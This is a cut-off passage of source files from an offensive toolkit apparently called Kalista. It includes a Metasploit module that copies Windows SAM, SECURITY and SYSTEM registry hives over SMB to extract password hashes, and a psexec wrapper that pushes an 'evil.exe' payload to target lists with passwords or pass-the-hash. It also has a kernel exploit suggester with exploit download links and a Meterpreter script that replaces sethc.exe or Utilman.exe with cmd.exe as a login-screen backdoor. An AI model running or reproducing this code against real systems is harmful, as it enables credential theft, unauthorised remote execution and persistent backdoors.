Msf::Auxiliary::Report 18 | 19 | # Aliases for common classes 20 | SIMPLE = Rex::Proto::SMB::SimpleClient 21 | XCEPT= Rex::Proto::SMB::Exceptions 22 | CONST= Rex::Proto::SMB::Constants 23 | 24 | def initialize(info = {}) 25 | super(update_info(info, 26 | 'Name' => 'PsExec Key Registry Hives Download Utility', 27 | 'Description'=> %q{ 28 | This module authenticates to a Windows box over SMB and creates 29 | a copy of the key Registry Hives (SAM|SYS|SEC|SW) and moves to user specified temp dir. 30 | It then pulls down copies of the Registry hives to store locally for offline parsing. 31 | These Registry hive copies can be used in combination with other tools for 32 | offline extraction of password hashes and a wealth of other info. All of this is 33 | done without uploading a single binary to the target host! 34 | }, 35 | 'Author' => [ 36 | 'Royce Davis ', # @R3dy__ 37 | 'Modded by Hood3dRob1n' 38 | ], 39 | 'License'=> MSF_LICENSE, 40 | 'References' => [ 41 | [ 'URL', 'http://sourceforge.net/projects/smbexec' ], 42 | [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ] 43 | ] 44 | )) 45 | register_options([ 46 | OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), 47 | OptString.new('TMPPATH', [true, 'The path of the Windows Temp directory to use for backups', 'C:\\WINDOWS\\Temp']), 48 | OptString.new('LPATH', [true, 'The LOCAL path to use for saving of backups', "/tmp/"]), 49 | ], self.class) 50 | end 51 | 52 | def peer 53 | return "#{rhost}:#{rport}" 54 | end 55 | 56 | # This is the main control method 57 | def run 58 | # Initialize some variables 59 | @ip = datastore['RHOST'] 60 | @smbshare = datastore['SMBSHARE'] 61 | bat = "#{datastore['TMPPATH']}\\#{Rex::Text.rand_text_alpha(16)}.bat" 62 | text = "#{datastore['TMPPATH']}\\#{Rex::Text.rand_text_alpha(16)}.txt" 63 | 64 | # Try and connect 65 | if connect 66 | #Try and authenticate with given credentials 67 | begin 68 | smb_login 69 | rescue StandardError => autherror 70 | print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") 71 | return 72 | end 73 | 74 | #We can login, now to make backups and download the goods... 75 | print_status("#{peer} - Attempting to snatch key Registry hives....") 76 | make_reg_backups 77 | select(nil, nil, nil, 5.0) #Dramatic pause 78 | download_hives([ datastore['TMPPATH'] +"\\sys", datastore['TMPPATH'] + "\\sec", datastore['TMPPATH'] + "\\sam", datastore['TMPPATH'] + "\\sw" ]) 79 | 80 | # Some quick cleanup before leaving 81 | cleanup_after(bat, text, datastore['TMPPATH'] +"\\sys", datastore['TMPPATH'] + "\\sec", datastore['TMPPATH'] + "\\sam", datastore['TMPPATH'] + "\\sw") 82 | disconnect 83 | end 84 | end 85 | 86 | ######################################################################################### 87 | # Generate random filename for copy instead of using expected names (sys, sec, sam, hw) # 88 | ######################################################################################### 89 | # Make backup copies of the main registry hives 90 | def make_reg_backups 91 | commandz = { 'SYSTEM' => "%COMSPEC% /C reg.exe save HKLM\\SYSTEM #{datastore['TMPPATH']}\\sys", 'SECURITY' => "%COMSPEC% /C reg.exe save HKLM\\SECURITY #{datastore['TMPPATH']}\\sec", 'SAM' => "%COMSPEC% /C reg.exe save HKLM\\SAM #{datastore['TMPPATH']}\\sam", 'SOFTWARE' => "%COMSPEC% /C reg.exe save HKLM\\SOFTWARE #{datastore['TMPPATH']}\\sw" } 92 | commandz.each do |hive,cmdlet| 93 | print_status("Copying #{hive} hive.....") 94 | begin 95 | psexec(cmdlet) 96 | select(nil, nil, nil, 1.0) 97 | rescue StandardError => hiveerror 98 | print_error("#{peer} - Problems making copy of #{hive} hive: #{hiveerror}") 99 | end 100 | end 101 | end 102 | 103 | # Download the Hive Copies we made 104 | def download_hives(arrayofhives) 105 | arrayofhives.each do |hive| 106 | file = hive.to_s.split("\\")[-1] 107 | print_status("#{peer} - Downloading #{hive} to #{datastore['LPATH']}#{file}.....") 108 | simple.connect("\\\\#{@ip}\\#{@smbshare}") 109 | funk = simple.open("#{hive.sub('C:', '')}", 'orb') 110 | data = funk.read 111 | funk.close 112 | f = File.open("#{datastore['LPATH']}#{file}", 'wb') 113 | f.write(data) 114 | f.close 115 | simple.disconnect("\\\\#{@ip}\\#{@smbshare}") 116 | end 117 | end 118 | 119 | # Removes files created during execution. 120 | def cleanup_after(*files) 121 | simple.connect("\\\\#{@ip}\\#{@smbshare}") 122 | print_status("#{peer} - Executing cleanup...") 123 | files.each do |file| 124 | begin 125 | if smb_file_exist?(file.sub('C:', '')) 126 | smb_file_rm(file.sub('C:', '')) 127 | end 128 | rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror 129 | print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") 130 | end 131 | end 132 | left = files.collect{ |f| smb_file_exist?(f.sub('C:', '')) } 133 | if left.any? 134 | print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") 135 | else 136 | print_status("#{peer} - Cleanup was successful") 137 | end 138 | simple.disconnect("\\\\#{@ip}\\#{@smbshare}") 139 | end 140 | end 141 | -------------------------------------------------------------------------------- /kalista: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Kalista Framework Project 4 | # By: Hood3dRob1n 5 | # 6 | 7 | ########################## EDITS HERE ############################ 8 | # We need the paths for DNS tools to use their default wordlists # 9 | # MSF Path so we can use some of its standalone tools too # 10 | # MSF DB Connection details, below is the defaults for Kali # 11 | # Path to KEIMPX Tool, if you dont have it, get it - its awesome # 12 | # Path to PWDUMP for offline registry password hash dumping # 13 | DNSRECON='/usr/share/dnsrecon/' # 14 | DNSMAP='/usr/share/dnsmap/' # 15 | MSFPATH='/usr/share/metasploit-framework' # 16 | MSFDBCREDS='-y /opt/metasploit/apps/pro/ui/config/database.yml' # 17 | KEIMPX='/root/fun/keimpx/' # 18 | PWDUMP='/usr/bin/pwdump' # 19 | ########################## STOP EDITS ############################ 20 | 21 | ###### STD GEMS ###### 22 | require 'base64' # 23 | require 'fileutils' # 24 | require 'optparse' # 25 | require 'uri' # 26 | require 'webrick' # 27 | #### NON-STD GEMS #### 28 | require 'rubygems' # 29 | require 'colorize' # 30 | require 'readline' # 31 | require 'snmp' # 32 | require 'text-table' # 33 | ###################### 34 | 35 | #HOME Constant 36 | HOME=Dir.pwd 37 | 38 | #Clear Terminal 39 | def cls 40 | system('clear') 41 | end 42 | 43 | #Simple Banner 44 | def banner 45 | puts 46 | puts " _|_| _| _| _| ".light_green 47 | puts "_| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_| ".light_green 48 | puts "_| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_| ".light_green 49 | puts "_| _| _| _| _| _| _| _| _| _| _| _| _| ".light_green 50 | puts " _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_| ".light_green 51 | puts " _| ".light_green 52 | puts " _| ".light_green 53 | puts " OpenWire Project Kalista, v0.1-aplha ".light_red 54 | end 55 | 56 | #PARSE RUNTIME ARGUMENTS 57 | options = {} 58 | optparse = OptionParser.new do |opts| 59 | opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green 60 | opts.separator "" 61 | opts.separator "EX:".light_green + " #{$0} --main".white 62 | opts.separator "EX:".light_green + " #{$0} --recon".white 63 | opts.separator "EX:".light_green + " #{$0} --brute".white 64 | opts.separator "EX:".light_green + " #{$0} --payloads".white 65 | opts.separator "EX:".light_green + " #{$0} --listener".white 66 | opts.separator "EX:".light_green + " #{$0} --exploit".white 67 | opts.separator "EX:".light_green + " #{$0} --smbfun".white 68 | opts.separator "EX:".light_green + " #{$0} --wifi".white 69 | opts.separator "EX:".light_green + " #{$0} --mitm".white 70 | opts.separator "EX:".light_green + " #{$0} --update".white 71 | opts.separator "EX:".light_green + " #{$0} --help".white 72 | opts.separator "" 73 | opts.separator "Options: ".light_green 74 | 75 | #Establish Mode to Start up in..... 76 | opts.on('-m', '--main', "\n\tMain Menu".white) do |method| 77 | options[:method] = 1 78 | end 79 | opts.on('-r', '--recon', "\n\tRecon & Discovery Menu".white) do |method| 80 | options[:method] = 2 81 | end 82 | opts.on('-b', '--brute', "\n\tLogins & Bruteforce Menu".white) do |method| 83 | options[:method] = 3 84 | end 85 | opts.on('-p', '--payloads', "\n\tPayload Builder Menu".white) do |method| 86 | options[:method] = 4 87 | end 88 | opts.on('-l', '--listener', "\n\tListner Builder Menu".white) do |method| 89 | options[:method] = 5 90 | end 91 | opts.on('-x', '--exploit', "\n\tExploits Menu".white) do |method| 92 | options[:method] = 6 93 | end 94 | opts.on('-w', '--wifi', "\n\tWiFi Menu".white) do |method| 95 | options[:method] = 7 96 | end 97 | opts.on('-M', '--mitm', "\n\tMiTM Menu".white) do |method| 98 | options[:method] = 8 99 | end 100 | opts.on('-u', '--update', "\n\tUpdates Menu".white) do |method| 101 | options[:method] = 9 102 | end 103 | opts.on('-s', '--smbfun', "\n\tSMB Tools Menu".white) do |method| 104 | options[:method] = 10 105 | end 106 | 107 | opts.on('-h', '--help', "\n\tDisplay Help Menu".white) do 108 | cls 109 | banner 110 | puts opts 111 | puts 112 | exit 69; 113 | end 114 | end 115 | 116 | begin 117 | foo = ARGV[0] || ARGV[0] = "-h" #if nothing passed, send to help menu 118 | optparse.parse! 119 | mandatory = [:method] 120 | missing = mandatory.select{ |param| options[param].nil? } #freakout if they dont give us what we stated above :p 121 | if not missing.empty? 122 | puts "Missing option(s): ".red + " #{missing.join(', ')}".white 123 | puts 124 | banner 125 | puts optparse 126 | exit 127 | end 128 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument #catch errors from options parsing and send usage 129 | cls 130 | puts $!.to_s.light_red 131 | puts 132 | banner 133 | puts optparse 134 | puts 135 | exit 666; 136 | end 137 | 138 | require './core/core' 139 | $framework = CoreShell.new 140 | $framework.cls 141 | $framework.banner 142 | 143 | case options[:method].to_i 144 | when 1 145 | $framework.core_shell 146 | when 2 147 | $framework.recon_shell 148 | when 3 149 | $framework.logins_shell 150 | when 4 151 | $framework.payloads_shell 152 | when 5 153 | $framework.listener_shell 154 | when 6 155 | $framework.exploits_shell 156 | when 7 157 | $framework.wifi_shell 158 | when 8 159 | $framework.mitm_shell 160 | when 9 161 | $framework.updates_shell 162 | when 10 163 | $framework.smbfun_shell 164 | else 165 | puts "You shouldn't be here".light_red + "!".white 166 | puts "Leave as fast as you can".light_red + "......".white 167 | puts 168 | exit 666; 169 | end 170 | -------------------------------------------------------------------------------- /extras/msf/tools/mpx.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # MSF PSEXEC.rb Wrapper so we can run it against multiple targtes in a systematic manner 4 | # The standalone PSEXEC runs an upload & exec payload on targets credentials work for 5 | # so make sure you have your muli handler setup as a job and to not exit after session 6 | # so you can catch as many shells as we pop and send its way :) 7 | # 8 | # See Here for help with password hash formats MSF accepts: 9 | # http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash 10 | # 11 | # Nothing new here, just a nice wrapper for standalone psexec.rb to squeeze some extra mileage out :) 12 | # By: Hood3dRob1n 13 | # 14 | # EX: mpx.rb -u Administrator -p 'P@$$w0rd!123' -T /root/Desktop/targets.lst -x /root/fun/payloads/evil.exe 15 | # EX: mpx.rb -u Administrator -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -T /root/Desktop/targets.lst -x /root/fun/payloads/evil.exe 16 | # EX: mpx.rb -u IUSR_WIN2003WEB -P /root/fun/passwords/winpass.lst -t 10.10.40.60 -x /root/fun/payloads/evil.exe 17 | # 18 | 19 | ############### EDIT HERE ############### 20 | MSF='/usr/shares/metasploit-framework/' # 21 | ############# NO MORE EDITS ############# 22 | 23 | require 'optparse' 24 | 25 | ################ FUNCTION DECLARATIONS ################## 26 | #Trap interupts so we exit cleanly, don't freak out...... 27 | trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, shutting scanner down now....."; exit; } 28 | 29 | #banner 30 | def banner 31 | puts 32 | puts "OWS: Multi-Scan PSEXEC Wrapper" 33 | puts "By: Hood3dRob1n" 34 | end 35 | 36 | #clear terminal 37 | def cls 38 | system('clear') # posix style clear 39 | end 40 | 41 | #Run a single instance of the ruby psexec.rb tool as it was intended to be run 42 | #Pass it a username, password or hash, a IP for target and the path to the evil.exe payload to use 43 | def single_target(user, pass, target, evil) 44 | puts "Running psexec #{user} #{pass} #{target} #{evil}....." 45 | if @home == @tools 46 | system("psexec.rb #{user} #{pass} #{target} #{evil}") 47 | else 48 | Dir.chdir("#{MSF}tools/") { 49 | system("psexec.rb #{user} #{pass} #{target} #{evil}") 50 | } 51 | end 52 | end 53 | 54 | ################## MAIN #################### 55 | options = {} 56 | # Parse the Arguments Passed for run 57 | optparse = OptionParser.new do |opts| 58 | opts.banner = "Usage:#{$0} [OPTION]" 59 | opts.separator "" 60 | opts.separator "EX: #{$0} [user] [pass|hash|list] [target|list] [payload.exe]" 61 | opts.separator "" 62 | opts.separator "Options: " 63 | #Now setup and layout Options.... 64 | opts.on('-u', '--username ', "\n\tUsername to use for authentication") do |username| 65 | username = username.chomp 66 | end 67 | opts.on('-p', '--password ', "\n\tSingle Password or LM:NTLM Hash set to use for Authentication") do |password| 68 | options[:pmethod] = 1 #Single Password Authentication Attack 69 | password = password.chomp 70 | end 71 | opts.on('-P', '--passlist ', "\n\tList with one Password or LM:NTLM Hash per Line") do |pfile| 72 | options[:pmethod] = 2 #Multi-Pass Authentication Attack 73 | if File.exists?(pfile) 74 | options[:pmethod] = 2 #Multi-Pass Authentication Attack 75 | password = File.open(pfile).readlines 76 | else 77 | puts 78 | puts "Can't find provided Password file!" 79 | puts "Please check permissions or path and try again....." 80 | puts 81 | puts opts #print opts outlined above for help 82 | puts 83 | exit 666; # :) 84 | end 85 | end 86 | opts.on('-t', '--target ', "\n\tSingle Target IP") do |target| 87 | options[:tmethod] = 1 #Single Target to Attack 88 | target = target.chomp 89 | end 90 | opts.on('-T', '--targets ', "\n\tList with one Target per line") do |tfile| 91 | if File.exists?(tfile) 92 | options[:tmethod] = 2 #Multiple Targets to Attack 93 | target = File.open(tfile).readlines 94 | else 95 | puts 96 | puts "Can't find provided Targets file!" 97 | puts "Please check permissions or path and try again....." 98 | puts 99 | puts opts #print opts outlined above for help 100 | puts 101 | exit 666; # :) 102 | end 103 | end 104 | opts.on('-x', '--exploit ', "\n\tPath to Binary Payload to run on success") do |evilbin| 105 | if File.exists?(evilbin) 106 | payload = evilbin 107 | else 108 | puts 109 | puts "Can't find provided Payload binary file!" 110 | puts "Please check permissions or path and try again....." 111 | puts 112 | puts opts #print opts outlined above for help 113 | puts 114 | exit 666; # :) 115 | end 116 | end 117 | #Establish help menu 118 | opts.on('-h', '--help', "\n\tHelp Menu") do 119 | cls 120 | banner 121 | puts 122 | puts opts #print opts outlined above for help 123 | puts 124 | exit 69; # :) 125 | end 126 | end 127 | begin 128 | foo = ARGV[0] || ARGV[0] = "-h" 129 | optparse.parse! 130 | mandatory = [:pmethod, :tmethod] 131 | missing = mandatory.select{ |param| options[param].nil? } 132 | if not missing.empty? 133 | puts "Missing or Unknown Options: " 134 | puts optparse 135 | exit 666; 136 | end 137 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument 138 | cls 139 | puts $!.to_s 140 | puts 141 | puts optparse 142 | puts 143 | exit 666; 144 | end 145 | @home=Dir.pwd 146 | @tools="#{MSF}tools/" 147 | #Try user/pass target combos... 148 | if options[:tmethod].to_i == 1 149 | #Single Target to Attack 150 | if options[:pmethod].to_i == 1 151 | #Single Target, Single Pass 152 | single_target(username, password, target, payload) 153 | elsif options[:pmethod].to_i == 2 154 | passwords.each do |pass| 155 | #Single Target, Multi Pass 156 | single_target(username, pass, target, payload) 157 | end 158 | end 159 | elsif options[:tmethod].to_i == 2 160 | #Multiple Targets to Attack 161 | target.each do |targ| 162 | if options[:pmethod].to_i == 1 163 | #Mult Target, Single Pass 164 | single_target(username, password, target, payload) 165 | elsif options[:pmethod].to_i == 2 166 | #Mult Target, Multi Pass 167 | passwords.each do |pass| 168 | single_target(username, pass, target, payload) 169 | end 170 | end 171 | end 172 | end 173 | #EOF 174 | -------------------------------------------------------------------------------- /extras/fun/sploit_suggester.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | #Add some color without colorize gem since we sticking to std libs for this one :) 4 | RS="\033[0m" # reset 5 | HC="\033[1m" # hicolor 6 | FRED="\033[31m" # foreground red 7 | FGRN="\033[32m" # foreground green 8 | FWHT="\033[37m" # foreground white 9 | 10 | #Trap System interupts so we can exit clean.... 11 | trap("SIGINT") { puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected, Shutting things down and exiting program#{FWHT}....#{RS}"; exit 666; } 12 | 13 | def commandz(foo) 14 | bar = IO.popen("#{foo}") 15 | foobar = bar.readlines 16 | return foobar 17 | end 18 | 19 | def suggestions 20 | known_sploits=Hash.new 21 | known_sploits = { 22 | "do_brk" => { "CVE" => "2003-0961", "versions" => ["2.4.0-2.4.22"], "exploits" => ["131"] }, 23 | "mremap missing do_munmap" => { "CVE" => "2004-0077", "versions" => ["2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"], "exploits" => ["160"] }, 24 | "binfmt_elf Executable File Read" => { "CVE" => "2004-1073", "versions" => ["2.4.0-2.4.27", "2.6.0-2.6.8"], "exploits" => ["624"] }, 25 | "uselib()" => { "CVE" => "2004-1235", "versions" => ["2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"], "exploits" => ["895"] }, 26 | "bluez" => { "CVE" => "2005-1294", "versions" => ["2.6.0-2.6.11.5"], "exploits" => ["4756", "926"] }, 27 | "prctl()" => { "CVE" => "2006-2451", "versions" => ["2.6.13-2.6.17.4"], "exploits" => ["2031", "2006", "2011", "2005", "2004"] }, 28 | "proc" => { "CVE" => "2006-3626", "versions" => ["2.6.0-2.6.17.4"], "exploits" => ["2013"] }, 29 | "system call emulation" => { "CVE" => "2007-4573", "versions" => ["2.4.0-2.4.30", "2.6.0-2.6.22.7"], "exploits" => ["4460"] }, 30 | "vmsplice" => { "CVE" => "2008-0009", "versions" => ["2.6.17-2.6.24.1"], "exploits" => ["5092", "5093"] }, 31 | "ftruncate()/open()" => { "CVE" => "2008-4210", "versions" => ["2.6.0-2.6.22"], "exploits" => ["6851"] }, 32 | "eCryptfs (Paokara)" => { "CVE" => "2009-0269", "versions" => ["2.6.19-2.6.31.1"], "exploits" => ["spender"] }, 33 | "set_selection() UTF-8 Off By One" => { "CVE" => "2009-1046", "versions" => ["2.6.0-2.6.28.3"], "exploits" => ["9083"] }, 34 | "UDEV < 141" => { "CVE" => "2009-1185", "versions" => ["2.6.25-2.6.30"], "exploits" => ["8478", "8572"] }, 35 | "exit_notify()" => { "CVE" => "2009-1337", "versions" => ["2.6.0-2.6.29"], "exploits" => ["8369"] }, 36 | "ptrace_attach() Local Root Race Condition" => { "CVE" => "2009-1527", "versions" => ["2.6.29"], "exploits" => ["8678", "8673"] }, 37 | "sock_sendpage() (Wunderbar Emporium)" => { "CVE" => "2009-2692", "versions" => ["2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"], "exploits" => ["9641", "9545", "9479", "9436", "9435", "spender"] }, 38 | "udp_sendmsg() (The Rebel)" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9.2"], "exploits" => ["9575", "9574", "spender3"] }, 39 | "(32bit) ip_append_data() ring0" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9"], "exploits" => ["9542"] }, 40 | "perf_counter_open() (Powerglove and Ingo m0wnar)" => { "CVE" => "2009-3234", "versions" => ["2.6.31"], "exploits" => ["spender"] }, 41 | "pipe.c (MooseCox)" => { "CVE" => "2009-3547", "versions" => ["2.6.0-2.6.32rc5", "2.4.0-2.4.37"], "exploits" => ["10018", "spender"] }, 42 | "CPL 0" => { "CVE" => "2010-0298", "versions" => ["2.6.0-2.6.11"], "exploits" => ["1397"] }, 43 | "ReiserFS xattr" => { "CVE" => "2010-1146", "versions" => ["2.6.0-2.6.34rc3"], "exploits" => ["12130"] }, 44 | "Unknown" => { "CVE" => 'nil', "versions" => ["2.6.18-2.6.20"], "exploits" => ["10613"] }, 45 | "SELinux/RHEL5 (Cheddar Bay)" => { "CVE" => 'nil', "versions" => ["2.6.9-2.6.30"], "exploits" => ["9208", "9191", "spender"] }, 46 | "compat" => { "CVE" => "2010-3301", "versions" => ["2.6.27-2.6.36rc4"], "exploits" => ["15023", "15024"] }, 47 | "BCM" => { "CVE" => "2010-2959", "versions" => ["2.6.0-2.6.36rc1"], "exploits" => ["14814"] }, 48 | "RDS protocol" => { "CVE" => "2010-3904", "versions" => ["2.6.0-2.6.36rc8"], "exploits" => ["15285"] }, 49 | "put_user() - full-nelson" => { "CVE" => "2010-4258", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] }, 50 | "sock_no_sendpage() - full-nelson" => { "CVE" => "2010-3849", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] }, 51 | "ACPI custom_method" => { "CVE" => "2010-4347", "versions" => ["2.6.0-2.6.37rc2"], "exploits" => ["15774"] }, 52 | "CAP_SYS_ADMIN" => { "CVE" => "2010-4347", "versions" => ["2.6.34-2.6.37"], "exploits" => ["15916", "15944"] }, 53 | "econet_sendmsg() - half-nelson" => { "CVE" => "2010-3848", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787"] }, 54 | "ec_dev_ioctl() - half-nelson" => { "CVE" => "2010-3850", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787", "15704"] }, 55 | "Mempodipper" => { "CVE" => "2012-0056", "versions" => ["2.6.39-3.1"], "exploits" => ["18411", "mempo"]}, 56 | "Archlinux x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24555"]}, 57 | "Fedora 18 x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["ps1"]}, 58 | "Ubuntu 12.10 64-Bit sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24746"]}, 59 | "ipc - half-nelson" => { "CVE" => "2010-4073", "versions" => ["2.6.0-2.6.37rc1"], "exploits" => ["17787"] } 60 | } 61 | k = commandz('uname -r')[0].chomp 62 | specialk = k.split('-')[0] #just a generic check so we dont care about the trailing aspects in this case, comes into play for manual review.... 63 | exploit_db = "http://www.exploit-db.com/exploits/" 64 | mempo = "http://git.zx2c4.com/CVE-2012-0056/snapshot/CVE-2012-0056-master.zip" 65 | spender = "http://www.securityfocus.com/data/vulnerabilities/exploits/36423.tgz" 66 | ps1 = "http://packetstormsecurity.com/files/download/120784/fedora-sockdiag.c" 67 | puts "#{HC}#{FGRN}Possible Exploits#{FWHT}: #{RS}" 68 | known_sploits.each do |key, value| 69 | versions = value["versions"] 70 | vsize = versions.size 71 | count=0 72 | found=0 73 | while count.to_i < vsize.to_i 74 | versions.each do |v| 75 | if v =~ /-/ 76 | vrange = v.split('-') 77 | min = vrange[0] 78 | max = vrange[1] 79 | else 80 | min = v 81 | max = v 82 | end 83 | if specialk.to_f >= min.to_f and specialk.to_f <= max.to_f 84 | foo = specialk.split('.') 85 | foo.shift 86 | kfoo = foo.join('.') 87 | 88 | foo = min.split('.') 89 | foo.shift 90 | minfoo = foo.join('.') 91 | 92 | foo = max.split('.') 93 | foo.shift 94 | maxfoo = foo.join('.') 95 | 96 | if kfoo.to_f >= minfoo.to_f and kfoo.to_f <= maxfoo.to_f 97 | found = found.to_i + 1 98 | cve = value["CVE"] 99 | exploit = value["exploits"] 100 | puts "#{HC}#{FGRN}Kernel#{FWHT}: #{k}#{RS}" 101 | puts "#{HC}#{FGRN}Possible Exploit#{FWHT}: #{key}#{RS}" 102 | puts "#{HC}#{FGRN}CVE#{FWHT}: #{cve}#{RS}" 103 | puts "#{HC}#{FGRN}Versions Affected#{FWHT}: #{versions.join(', ')}#{RS}" 104 | puts "#{HC}#{FGRN}Downloads Available for Possible Exploit#{FWHT}: " 105 | exploit.each do |sploit| 106 | if sploit == "spender" 107 | puts "#{spender}" 108 | elsif sploit == "mempo" 109 | puts "#{mempo}" 110 | elsif sploit == "ps1" 111 | puts "#{ps1}" 112 | else 113 | puts "#{exploit_db}#{sploit}" 114 | end 115 | end 116 | puts "#{RS}" 117 | end 118 | end 119 | count = count.to_i + 1 120 | end 121 | end 122 | end 123 | end 124 | 125 | suggestions 126 | -------------------------------------------------------------------------------- /extras/msf/meterpreter/swaparoo.rb: -------------------------------------------------------------------------------- 1 | # $Id:swaparoo.rb $ 2 | # $Revision: 01 $ 3 | # Meterpreter Swaparoo - Windows Backdoor Method (all Windows versions) 4 | # Authors: Un0wn_X & Hood3dRob1n 5 | 6 | ################## Variable Declarations ################## 7 | session = client #Our victim session object we will work with 8 | #Basic Arguments user can provide when running meterpreter script 9 | @@exec_opts = Rex::Parser::Arguments.new( 10 | "-h" => [ false,"Help menu." ], 11 | "-u" => [ false, "Use Utilman.exe (Sethc.exe used by default)" ], 12 | "-p" => [ false,"Path on target to find Sethc.exe or Utilman.exe (default is %SYSTEMROOT%\\\\system32\\\\)" ], 13 | "-r" => [ false,"Remove payload & Return original back to its place (use with -u for Utilman.exe cleanup)" ] 14 | ) 15 | 16 | ################## Function Declarations ################## 17 | #Usage 18 | def usage 19 | print_line("Windows Swaparoo - Sneaks a Backdoor Command Shell in place of Sticky Keys Prompt or Utilman assistant at Login Screen (requires admin privs)") 20 | print_line(@@exec_opts.usage) 21 | raise Rex::Script::Completed 22 | end 23 | 24 | #check for proper Meterpreter Platform 25 | def unsupported 26 | print_error("This version of Meterpreter is not supported with this Script!") 27 | raise Rex::Script::Completed 28 | end 29 | 30 | #check for proper privileges are in place to run the tasks (i.e. are we admin?) 31 | def notadmin 32 | print_error("You need admin privs to run this!") 33 | print_error("Try using 'getsystem' or one of the many escalation scripts and try again.......") 34 | raise Rex::Script::Completed 35 | end 36 | 37 | #Execute our list of command needed to achieve the backdooring (sethc.exe vs Utilman.exe) or cleanup tasks :p 38 | def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target 39 | r='' 40 | session.response_timeout=120 41 | cmdlst.each do |cmd| 42 | begin 43 | print_status("Executing: #{cmd}") 44 | r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) 45 | while(d = r.channel.read) 46 | break if d == "" 47 | end 48 | r.channel.close 49 | r.close 50 | rescue ::Exception => e 51 | print_error("Error Running Command #{cmd}: #{e.class} #{e}") 52 | end 53 | end 54 | end 55 | 56 | # check if UAC is enabled (the builtin for privs isn't workign for me for somereason so I made a new version), idk..... 57 | def uac_enabled 58 | #Confirm target could have UAC, then find out level its running at if possible 59 | if session.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/ 60 | uac = false 61 | else 62 | begin 63 | key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) 64 | if key.query_value('EnableLUA').data == 1 65 | uac = true 66 | print_status("UAC is Enabled, checking level...") 67 | # key.close 68 | uac_level = key.query_value('ConsentPromptBehaviorAdmin').data 69 | if uac_level.to_i == 2 70 | print_error("UAC is set to 'Always Notify'") 71 | print_error("Things won't work under these conditions.....") 72 | raise Rex::Script::Completed 73 | elsif uac_level.to_i == 5 74 | print_error("UAC is set to Default") 75 | print_error("You should try running 'exploit/windows/local/bypassuac' to bypass UAC restrictions if you haven't already") 76 | elsif uac_level.to_i == 0 77 | print_good("UAC Settings Don't appear to be an issue...") 78 | uac = false 79 | else 80 | print_status("Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......") 81 | uac = false 82 | end 83 | end 84 | key.close 85 | rescue::Exception => e 86 | print_error("Error Checking UAC: #{e.class} #{e}") 87 | end 88 | end 89 | return uac 90 | end 91 | 92 | ##################### MAIN ###################### 93 | # Parse our user provided options and run post script accordingly.... 94 | sysroot = session.fs.file.expand_path("%SYSTEMROOT%") #now we can get base path for different versions of Windows 95 | path = "#{sysroot}\\\\system32\\\\" #twice is nice (must escape properly for dir dividers 96 | targetexe = 0 97 | helpcall = 0 98 | remove = 0 99 | @@exec_opts.parse(args) do |opt, idx, val| 100 | case opt 101 | when "-h" 102 | helpcall = 1 #Help Menu 103 | when "-u" 104 | targetexe = 1 #0=> Sethc.exe, 1=>Utilman.exe 105 | when "-p" 106 | path = val #override default path 107 | when "-r" 108 | remove = 1 #Run cleanup 109 | end 110 | end 111 | #Make sure we were passed proper arguments to run 112 | if helpcall == 1 113 | usage 114 | end 115 | #we only can do this on windows :p 116 | unsupported if not session.platform =~ /win/i 117 | 118 | #Make sure we are admin 119 | if session.railgun.shell32.IsUserAnAdmin()['return'] 120 | print_good("Confirmed, currently running as admin.....") 121 | else 122 | notadmin 123 | end 124 | 125 | #Check if UAC is enabled and potentially going to cause us problems on newer systems 126 | if uac_enabled 127 | print_error("Can't run this on target system without bypassing UAC first!") 128 | print_status("Please make sure you have already done this or script will not work......") 129 | print_status("") 130 | else 131 | print_good("Confirmed, UAC is not an issue!") 132 | end 133 | 134 | #Arrays with our commands we need to accomplish stuff: 135 | sethc = [ "takeown /f #{path}sethc.exe", 136 | "icacls #{path}sethc.exe /grant administrators:f", 137 | "rename #{path}sethc.exe sethc.exe.bak", 138 | "copy #{path}cmd.exe #{path}cmd3.exe", 139 | "rename #{path}cmd3.exe sethc.exe" ] 140 | 141 | utilman = [ "takeown /f #{path}Utilman.exe", 142 | "icacls #{path}Utilman.exe /grant administrators:f", 143 